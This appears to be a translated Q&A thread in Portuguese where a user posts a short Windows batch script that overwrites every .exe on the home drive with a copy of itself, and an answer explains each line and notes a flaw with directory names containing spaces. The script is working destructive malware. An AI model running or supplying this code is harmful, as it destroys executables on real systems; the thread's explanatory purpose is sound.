Explicação do comando de infecção do arquivo em lote

3

Eu sei que os comandos abaixo são usados para infectar arquivos executáveis. Mas eu não sei como eles funcionam exatamente. Alguém pode me explicar isso?

@echo off
Dir %Homedrive% /s /b > DirPath
  For /f %%Y In (DirPath) Do (
  Set DirPath=%%Y > Nul
 For %%Z In (%DirPath%\*.exe) Do (
Set ExeInfect=%%Z > Nul 
  Copy /y %0 %ExeInfect% 
 )
) 
Del /f /s /q DirPath 
    
por Zack 23.08.2012 / 16:32

1 resposta

5
@echo off

Desativa o eco dos comandos em lote.

Dir %Homedrive% /s /b > DirPath

Lista todos os arquivos e diretórios em sua unidade inicial (geralmente C: ), um por linha ( /b switch), incluindo subdiretórios ( /s switch) e armazena o resultado no arquivo DirPath .

For /f %%Y In (DirPath) Do ( ... )

Transversa DirPath e executa ... para cada item. %%Y conterá o primeiro item da linha.

Set DirPath=%%Y > Nul

Armazena o primeiro item da linha na variável DirPath .

For %%Z In (%DirPath%\*.exe) Do ( ... )

Transversa todos os arquivos .exe no diretório armazenado na variável DirPath . %%Z conterá o nome do executável.

Set ExeInfect=%%Z > Nul 

Armazena o nome do executável na variável ExeInfect .

Copy /y %0 %ExeInfect%

Copia sem avisar ( /y switch) o executável atual (ou seja, o arquivo de lote) sobre o executável armazenado em ExeInfect .

Como resultado, todos os executáveis são substituídos pelo arquivo em lote.

Bem, quase todos. O primeiro comando For se comportará incorretamente se o nome do diretório contiver espaços ...

    
por 23.08.2012 / 16:46